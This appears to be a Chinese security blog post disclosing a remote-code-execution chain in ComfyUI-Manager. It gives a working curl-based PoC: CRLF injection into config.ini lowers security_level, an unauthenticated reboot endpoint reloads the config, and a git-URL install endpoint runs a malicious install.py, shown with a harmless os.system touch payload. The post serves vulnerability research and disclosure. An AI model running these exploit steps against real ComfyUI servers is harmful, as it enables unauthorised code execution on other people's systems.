文章总结: 本文披露ComfyUI-Manager存在RCE漏洞链。攻击者利用CRLF注入修改配置文件降低安全等级,再调用未授权接口重启服务加载配置,最终通过安装恶意自定义节点执行install.py脚本实现远程代码执行。文章详述了漏洞原理、复现过程及PoC,涵盖环境搭建、数据流分析与完整利用步骤,揭示了该组件的严重安全隐患。 综合评分: 91 文章分类: 漏洞分析,漏洞POC,WEB安全
ComfyUI-Manager RCE链组合拳
原创
lufei
lufeisec
2026年1月13日 08:00 上海
一、前言
1.1、组件信息
ComfyUI-Manager 是一个旨在提升 ComfyUI 可用性的扩展。它提供管理功能,用于安装、移除、禁用和启用 ComfyUI 的各种自定义节点。此外,该扩展还提供了枢纽功能和便捷功能,方便访问 ComfyUI 内的各种信息。
1.2、影响版本
ComfyUI-Manager < 3.39.2
ComfyUI-Manager < 4.0.5
二、漏洞分析
2.1、RCE链分析
2.1.1、环境搭建
python3 -m pip install virtualenv
git clone https://github.com/comfyanonymous/ComfyUI
cd ComfyUI/custom_nodes
git clone -b 3.39.1 https://github.com/ltdrdata/ComfyUI-Manager comfyui-manager
cd ..
python -m venv venv
source venv/bin/activate
python -m pip install torch torchvision torchaudio --extra-index-url https://download.pytorch.org/whl/cu121
python -m pip install -r requirements.txt
python -m pip install -r custom_nodes/comfyui-manager/requirements.txt
cd ..
python main.py --preview-method auto --cpu
2.2.2、CRLF分析
漏洞commit
https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410
a、sink分析
根据漏洞commit,我们很快就能确定出漏洞函数(write_config)。如图所示,很经典的CRLF漏洞修复处理(处理掉\r、\n、\x00字符),然后再安全写入到文件到中去。
b、data flolw & souce分析
这里的数据流分析很简单,所以跟source一起分析了。
api server服务基本都集中在:ComfyUI-Manager/glob/manager_server.py文件中,所以我们基本上分析这个python文件souce即可。
在该文件中/manager/policy/component这个api接口就使用了write_config函数。
其中通过set_component_policy函数进行改动core.config的配置
c、完整链路 & PoC
api接口manager/policy/component(component_policy) -> 通过set_component_policy赋值带入CRLF -> core.write_config写入值造成CRLF注入。
这里构造构造注入ini配置文件需要注意一下。
cat ComfyUI/user/__manager/config.ini
这里需要注意’\r’作为换行,而不是\n作为换行(使用了python的ConfigParser),因为会替换\n为\n\t导致CRLF后的属性注入失败。
并且这里有多个注入点我们使用manager/db_mode就是为了注入在原有配置的security_level后面,我们使用PoC如下:
curl 'http://127.0.0.1:8188/manager/db_mode?value=workflow%0dsecurity_level=weak' -I
完成注入
2.2.3、RCE链分析
上面仅仅完成了配置文件的注入,可以配置文件的修改有什么作用呢?并且服务ComfyUI-Manager是否会自动更新配置呢?
a、sink点1 – 重启服务
发现/manager/reboot接口不需要任何身份验证,即可执行重启服务,也就是可以直接加载配置文件了。
这里的身份验证比较简单,查询配置中的security_level等级,如果配置中的等级低于接口的等级接口就允许(配置文件中默认是normal),也就是/manager/reboot接口默认有权限。
curl http://127.0.0.1:8188/manager/reboot
b、sink点2 – 执行远程python文件
前面做了那么多的铺垫,其实就是为了进行权限绕过使用/customnode/install/git_url接口:我们通过配置文件覆盖,重启服务,成功将安全等级降级为weak也就是可以使用该接口。
分析这个接口时候,发现core.gitclone_install(url)函数后端会再使用execute_install_script函数,最终调用[sys.executable, “install.py”]命令。
我们在github上创建一个空的项目,新建一个install.py文件
import os
os.system("touch /tmp/lufeisec")
最终进行加载即可
curl -X POST http://127.0.0.1:8188/api/customnode/install/git_url -d 'https://github.com/xxxxx/test_poc'
三、总结
3.1、漏洞总结
1、修改配置文件,为了降低程序运行的等级
curl 'http://127.0.0.1:8188/manager/db_mode?value=workflow%0dsecurity_level=weak' -I
2、重启系统,为了重启加载配置生效
curl http://127.0.0.1:8188/manager/reboot
3、运行敏感函数,能够进行RCE
curl -X POST http://127.0.0.1:8188/api/customnode/install/git_url -d 'https://github.com/xxxxx/test_poc'
3.2、最后
python的ini-format居然是\r进行分割,纠结了很久。
云安全系列
云安全 – k8s ingress漏洞进一步探索引发的源码层面的文件漏洞利用特性分析(golang、java、php)
云对象存储桶写漏洞?模型和数据被投毒、机器沦陷?- AI & 云安全
你的k8s集群又被拿下了?IngressNightmare – 云安全
21年挖的对象存储漏洞到现在结束了吗?- 云安全
域安全
还看!dump你的域hash来了!- 域安全
域安全-PrintNightmare打域控漏洞的一次艰难利用
AI安全&应用
AiBrowser-AI快捷安全连接的私域文档
加载数据集或模型可能就中毒!大模型供应链安全
AI与基础安全结合的新的攻击面
AI落地-蓝军之默认密码获取
甲方安全系列
钓鱼攻防:谁占优势?- 企业安全建设
打穿AD域漏洞CVE-2025-33073的矛与盾 – 域安全
威胁狩猎第一步
如何单机实时分析日均数亿安全日志?
三条命令查杀冰蝎、哥斯拉内存马
最近CDN供应链事件的曲折分析与应对-业务安全
BootCDN供应链攻击分析与应对
安全BP & SDL & DevSecOps
深入分析react2shell – 满分漏洞?核弹?CVE-2025-55182
用AI写了一款AI代码审计去审计AI写的代码(一)
红蓝演习
java内存马深度利用:窃取明文、钓鱼
“VT全绿”-手动patch exe免杀
挖洞技巧-扩展攻击面
weblogic-2019-2725exp回显构造
WEB越权-劝你多删参数值
云安全 – k8s ingress漏洞进一步探索引发的源码层面的文件漏洞利用特性分析(golang、java、php)
其他
TCP协议区分windows和linux实践 – 远程系统识别
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:lufeisec lufei《ComfyUI-Manager RCE链组合拳》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论